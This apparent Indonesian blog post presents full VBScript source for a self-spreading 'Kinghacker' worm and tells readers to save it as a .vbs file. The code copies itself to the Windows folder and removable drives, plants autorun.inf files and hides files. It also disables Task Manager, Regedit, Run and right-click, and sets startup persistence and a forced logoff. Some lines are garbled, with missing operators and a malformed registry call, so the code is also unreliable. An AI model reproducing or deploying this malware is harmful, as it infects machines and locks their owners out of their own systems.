Virus Sederhana tapi MEMATIKAN!!
Jika anda ingin mengetahui bagaimana cara membuat virus yang sederhana tetapi MEMATIKAN, inilah saatnya anda beraksi.. (JANGAN SEKALI-KALI MENGERJAI TEMAN/ORANG LAIN DENGAN VIRUS INI!!). Simpan dengan file berekstensi .vbs pada notepad..
‘//-WARNING!!VIRUS INI SANGAT BERBAHAYA!!!!!!!(on level 3)-//
‘//-Awal dari kode, diset agar ketika terjadi Error dibiarkan dan kemudian
lanjutkan kegiatan virus-//
on error resume next
‘//-Awal dim-//
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
‘//-Membentuk sebuah teks yang nantinya akan dibuat untuk
Autorun Setup Information-//
atr = “[autorun]“&vbcrlf&”shellexecute=wscript.exe Kinghacker.exe.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
‘//-Copy diri untuk menjadi file induk di Windows Path
(contoh: C:\Windows)-//
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & “\Kinghacker.exe.vbs”)
tf.attributes = 32
set tf=fs.createtextfile(winpath & “\Kinghacker.exe.vbs”,2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & “\Kinghacker.exe.vbs”)
tf.attributes = 39
‘//-Buat Atorun.inf untuk menjalankan virus otomatis
setiap flash disk terhubung-//
‘//-Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket-//
for each flashdrive in fs.drives
‘//-Cek Drive-//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path
“A:” then
‘//-Buat Infector jika ternyata Drivetype 1 atau 2. Atau
A:\-//
set tf=fs.getfile(flashdrive.path &”\kinghacker.exe.vbs”)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\kinghacker.exe.vbs”,2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &”\jeremy_valentino.exe.vbs”)
tf.attributes =39
‘//-Buat Atorun.inf yang teks-nya tadi sudah disiapkan
(Auto Setup Information)-//
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
‘//-Memanipulasi(Manip) Registry-//
set rg = createobject(”WScript.Shell”)
‘//-Manip – Mengubah Title Internet Explorer menjadi KINGFILES - THE VIRUS-//
rg.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window
Title”,” KINGFILES - THE VIRUS “
‘//-Manip – Set agar file hidden tidak ditampilkan di
Explorer-//
rg.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”,
“0”, “REG_DWORD”
‘//-Manip – Hilangkan menu Search, Folder Options, Run, dan
memblokir Regedit dan Task Manager-//
rg.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”,
“1”, “REG_DWORD”
rg.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”,
“1”, “REG_DWORD”
rg.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”,
“1”, “REG_DWORD”
rg.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”,
“1”, “REG_DWORD”
rg.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”,
“1”, “REG_DWORD”
‘//-Manip – Disable klik kanan-//
rg.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”,
“1”, “REG_DWORD”
‘//-Manip – Munculkan Pesan Setiap Windows Startup-//
rg.regwrite
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”,
“Smile worm. Variant from Kinghacker, don’t be panic all data are safe.“
rg.regwrite “”HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon” /v LegalNoticeText /d “SISTEM INI TELAH DILEMAHKAN
!!! MAKA BERDOALAH AGAR TIDAK TERJADI“
‘//-Manip – Aktif setiap Windows Startup-//
rg.regwrite
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”,
winpath & “\batch- Kinghacker.exe.vbs “
‘//-Manip – Ubah RegisteredOwner dan Organization-//
rg.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\RegisteredOrganization”, “Kinghacker”
rg.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\RegisteredOwner”,”kinghacker”
‘//-Manip – Membuat Cadangan di sistem svchost, MS32Dll
dan membuat ikon-//
rg.regwrite
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\svchost”,winpath&”\Kinghacker.exe.vbs”
rg.regwrite
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”,””
rg.regwrite “HKCR\vbsfile\DefaultIcon\”,”shell32.dll,3”
‘//-Manip – Me-Log off komputer setelah log on (BISA
DIHAPUS UNTUK MELIHAT EFEKNYA!)-//
rg.regwrite
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Logoff”,
winpath & “\System32\Logoff.exe”
‘//-Fungsi di untuk mengaktifkan kembali script dan
mengulangnya kembali-//
if check 1 then
Wscript.sleep 100000
end if
loop while check1
set sd = createobject(”Wscript.shell”)
sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname
do while year(now) >= 2009
WScript.sleep 20000
‘//-Memunculkan pesan window terus menerus-//
msgbox “Terimakasih Anda telah mencoba Virus ini” & vbcrlf & _
“Sekali lagi maaf kalau ada kesalahan yang telah kami perbuat” & vbcrlf &
_
“Don't panic, semua tidak akan kukuasai sendiri dirimu oh komputer..” & vbcrlf & _
“Dan apa yang telah kita lalui bersama, akan terkenang untuk selamanya..” & vbcrlf & _
vbcrlf & vbcrlf & _
” Semua yang engkau impikan akan terwujud” & vbcrlf & vbcrlf & _
” Dan detik ini pun jagalah hati, pikiran, dan kelakuanmu,, oh komputerku..“
‘//-Mengulang semua script-//
loop
‘//Selesai sudah, beri nama kinghacker.exe.vbs-//
[Skrip yang berwarna hijau boleh ditulis, boleh tidak ditulis]
Nah,, itu tadi script virus kinghacker.. Sebaiknya jangan dilakukan di komputer teman atau orang lain..
Jika ingin mencoba, anda harus siap-siap untuk mengeluarkan biaya untuk membenahi komputer anda..
OK,, sekian dulu yah! Enjoy it!!
0 Response to "Virus Sederhana tapi MEMATIKAN!!"
Post a Comment